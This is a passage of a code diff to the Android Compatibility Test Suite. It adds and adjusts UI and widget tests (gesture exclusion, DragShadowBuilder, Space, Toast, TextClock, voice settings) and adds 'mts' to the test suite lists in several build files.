+        // Hide the content view, ensure that the reported rects are null for the child view
+        final GestureExclusionLatcher[] updateHideLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            updateHideLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            contentView.setVisibility(View.INVISIBLE);
+        });
+        assertTrue("set rects timeout", updateHideLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", Collections.EMPTY_LIST,
+                updateHideLatch[0].getLastReportedRects());
+
+        // Show the content view again, ensure that the reported rects are valid for the child view
+        final GestureExclusionLatcher[] updateShowLatch = new GestureExclusionLatcher[1];
+        mActivityRule.runOnUiThread(() -> {
+            final View v = activity.findViewById(R.id.animating_view);
+            updateShowLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+            contentView.setVisibility(View.VISIBLE);
+        });
+        assertTrue("set rects timeout", updateShowLatch[0].await(3, SECONDS));
+        assertEquals("returned rects as expected", dummyWindowExclusionRects,
+                updateShowLatch[0].getLastReportedRects());
+    }
+
     private static class GestureExclusionLatcher implements Consumer<List<Rect>> {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final ViewTreeObserver mVto;
+        private List<Rect> mLastReportedRects = Collections.EMPTY_LIST;
 
         public static GestureExclusionLatcher watching(ViewTreeObserver vto) {
             final GestureExclusionLatcher latcher = new GestureExclusionLatcher(vto);
@@ -219,8 +272,13 @@
             return mLatch.await(time, unit);
         }
 
+        public List<Rect> getLastReportedRects() {
+            return mLastReportedRects;
+        }
+
         @Override
         public void accept(List<Rect> rects) {
+            mLastReportedRects = rects;
             mLatch.countDown();
             mVto.removeOnSystemGestureExclusionRectsChangedListener(this);
         }
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index c7297f1..a934986 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -2044,8 +2044,8 @@
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
         float density = view.getContext().getResources().getDisplayMetrics().density;
-        int size1 = (int) (100 * density + 0.5);
-        int size2 = (int) (75 * density + 0.5);
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
 
         assertTrue(view.hasCalledOnMeasure());
         assertEquals(size1, view.getMeasuredWidth());
@@ -2750,8 +2750,8 @@
         Rect rect = new Rect();
 
         float density = view.getContext().getResources().getDisplayMetrics().density;
-        int size1 = (int) (100 * density + 0.5);
-        int size2 = (int) (75 * density + 0.5);
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
 
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(0, rect.left);
diff --git a/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java b/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java
new file mode 100644
index 0000000..b2b896f
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Canvas;
+import android.graphics.Point;
+import android.view.View.DragShadowBuilder;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link DragShadowBuilder}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_DragShadowBuilderTest {
+    private DragShadowBuilder mBuilder;
+    private MockView mView;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mView = new MockView(mActivityRule.getActivity());
+        mBuilder = new DragShadowBuilder(mView);
+    }
+
+    @Test
+    public void testConstructor() {
+        new DragShadowBuilder(mView);
+
+        new DragShadowBuilder();
+    }
+
+    @Test
+    public void testGetView() {
+        assertSame(mView, mBuilder.getView());
+    }
+
+    @Test
+    public void testOnProvideShadowMetrics() {
+        Point outShadowSize = new Point();
+        Point outShadowTouchPoint = new Point();
+
+        mView.setLeftTopRightBottom(0, 0, 50, 50);
+        mBuilder.onProvideShadowMetrics(outShadowSize, outShadowTouchPoint);
+
+        assertEquals(mView.getWidth(), outShadowSize.x);
+        assertEquals(mView.getHeight(), outShadowSize.y);
+
+        assertEquals(outShadowSize.x / 2, outShadowTouchPoint.x);
+        assertEquals(outShadowSize.y / 2, outShadowTouchPoint.y);
+    }
+
+    @Test
+    public void testOnDrawShadow() {
+        Canvas canvas = new Canvas();
+        mBuilder.onDrawShadow(canvas);
+
+        assertTrue(mView.hasCalledOnDraw());
+    }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index d62411b..afc9d6c 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -127,11 +127,21 @@
     }
 
     @Test
+    public void testSuggestSelectionWith4Param() {
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+    }
+
+    @Test
     public void testClassifyText() {
         assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
     }
 
     @Test
+    public void testClassifyTextWith4Param() {
+        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+    }
+
+    @Test
     public void testNoOpClassifier() {
         mManager.setTextClassifier(TextClassifier.NO_OP);
         mClassifier = mManager.getTextClassifier();
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84a7999..9c9217b 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -46,6 +46,7 @@
 import android.view.Display;
 import android.view.PointerIcon;
 import android.view.View;
+import android.view.WindowManager;
 import android.widget.FrameLayout;
 
 import androidx.test.InstrumentationRegistry;
@@ -104,6 +105,8 @@
         // Set the NULL pointer icon so that it won't obstruct the captured image.
         getWindow().getDecorView().setPointerIcon(
                 PointerIcon.getSystemIcon(this, PointerIcon.TYPE_NULL));
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
 
         mProjectionManager =
                 (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
diff --git a/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java b/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
index 2ef1999..9a855cb 100644
--- a/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
+++ b/tests/tests/voicesettings/src/android/voicesettings/cts/AirplaneModeTest.java
@@ -89,7 +89,10 @@
     }
 
     private boolean runTest(BroadcastUtils.TestcaseType test, int expectedMode) throws Exception {
-        if (!startTestAndWaitForBroadcast(test, VOICE_SETTINGS_PACKAGE, VOICE_INTERACTION_CLASS)) {
+        if (!startTestAndWaitForChange(test,
+                Settings.Global.getUriFor(Settings.Global.AIRPLANE_MODE_ON),
+                VOICE_SETTINGS_PACKAGE,
+                VOICE_INTERACTION_CLASS)) {
             return false;
         }
 
diff --git a/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java b/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
index e01f3b9..e157ad0 100644
--- a/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
+++ b/tests/tests/voicesettings/src/android/voicesettings/cts/ZenModeTest.java
@@ -92,7 +92,9 @@
     }
 
     private boolean runTest(BroadcastUtils.TestcaseType test, int expectedMode) throws Exception {
-        if (!startTestAndWaitForBroadcast(test, VOICE_SETTINGS_PACKAGE, VOICE_INTERACTION_CLASS)) {
+        if (!startTestAndWaitForChange(test,
+                Settings.Global.getUriFor(ZEN_MODE), VOICE_SETTINGS_PACKAGE,
+                VOICE_INTERACTION_CLASS)) {
             return false;
         }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 2a5bcbc..89603d6 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1694,7 +1694,7 @@
         final int previousScrollX = mOnUiThread.getScrollX();
         final int previousScrollY = mOnUiThread.getScrollY();
 
-        mOnUiThread.flingScroll(100, 100);
+        mOnUiThread.flingScroll(10000, 10000);
 
         new PollingCheck() {
             @Override
diff --git a/tests/tests/widget/src/android/widget/cts/SpaceTest.java b/tests/tests/widget/src/android/widget/cts/SpaceTest.java
new file mode 100644
index 0000000..39da93f
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SpaceTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.view.View;
+import android.widget.Space;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Space}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SpaceTest {
+    private Activity mActivity;
+    private Space mSpace;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mSpace = new Space(mActivity);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new Space(mActivity);
+
+        new Space(mActivity, null);
+
+        new Space(mActivity, null, 0);
+
+        new Space(mActivity, null, 0, android.R.style.Widget);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInvisibleDefault() {
+        assertEquals(View.INVISIBLE, mSpace.getVisibility());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDrawNothing() {
+        Bitmap bitmap = Bitmap.createBitmap(200, 200, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        Bitmap expected = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+        mSpace.measure(100, 100);
+        mSpace.layout(0, 0, 100, 100);
+        mSpace.draw(canvas);
+        WidgetTestUtils.assertEquals(expected, bitmap);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMeasureSpecs() {
+        mSpace.setMinimumWidth(100);
+        mSpace.setMinimumHeight(100);
+
+        mSpace.measure(View.MeasureSpec.UNSPECIFIED, View.MeasureSpec.UNSPECIFIED);
+        assertEquals(100, mSpace.getMeasuredWidth());
+        assertEquals(100, mSpace.getMeasuredHeight());
+
+        mSpace.measure(200 | View.MeasureSpec.AT_MOST,
+                200 | View.MeasureSpec.AT_MOST);
+        assertEquals(100, mSpace.getMeasuredWidth());
+        assertEquals(100, mSpace.getMeasuredHeight());
+
+        mSpace.measure(200 | View.MeasureSpec.EXACTLY,
+                200 | View.MeasureSpec.EXACTLY);
+        assertEquals(200, mSpace.getMeasuredWidth());
+        assertEquals(200, mSpace.getMeasuredHeight());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TextClockTest.java b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
index 9a41bbf..9438ed1 100644
--- a/tests/tests/widget/src/android/widget/cts/TextClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
@@ -104,6 +104,16 @@
             }
         }
 
+        // If the time was already set to 12, we want it to start at locale-specified
+        if (mDefaultTime1224 != null) {
+            final CountDownLatch changeDefault = registerForChanges(Settings.System.TIME_12_24);
+            mActivityRule.runOnUiThread(() -> {
+                Settings.System.putString(resolver, Settings.System.TIME_12_24, null);
+            });
+            assertTrue(changeDefault.await(1, TimeUnit.SECONDS));
+        }
+
+        // Change to 12-hour mode
         final CountDownLatch change12 = registerForChanges(Settings.System.TIME_12_24);
         mActivityRule.runOnUiThread(() -> {
             Settings.System.putInt(resolver, Settings.System.TIME_12_24, 12);
@@ -124,6 +134,7 @@
             return ok.value;
         });
 
+        // Change to 24-hour mode
         final CountDownLatch change24 = registerForChanges(Settings.System.TIME_12_24);
         mActivityRule.runOnUiThread(() -> {
             Settings.System.putInt(resolver, Settings.System.TIME_12_24, 24);
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 72b5af8..a6c7af3 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -274,6 +275,8 @@
 
     @Test
     public void testAccessMargin() throws Throwable {
+        assumeFalse("Skipping test: Auto does not support toast with margin", isCar());
+
         makeToast();
         View view = mToast.getView();
         assertFalse(view.getLayoutParams() instanceof WindowManager.LayoutParams);
@@ -335,6 +338,8 @@
 
     @Test
     public void testAccessGravity() throws Throwable {
+        assumeFalse("Skipping test: Auto does not support toast with gravity", isCar());
+
         makeToast();
         runOnMainAndDrawSync(mToast.getView(), () -> {
             mToast.setGravity(Gravity.CENTER, 0, 0);
@@ -515,4 +520,9 @@
             throw new RuntimeException(t);
         }
     }
+
+    private boolean isCar() {
+        PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index 4715f52..495edb3 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts cts_instant mts
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index da8e11f..dc53d6b 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_CLASS := FAKE
 LOCAL_IS_HOST_MODULE := true
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests vts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests vts mts
 
 # my_test_config_file := DynamicConfig.xml
 # TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index 37b7e2e..400dac7 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -31,6 +31,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
 }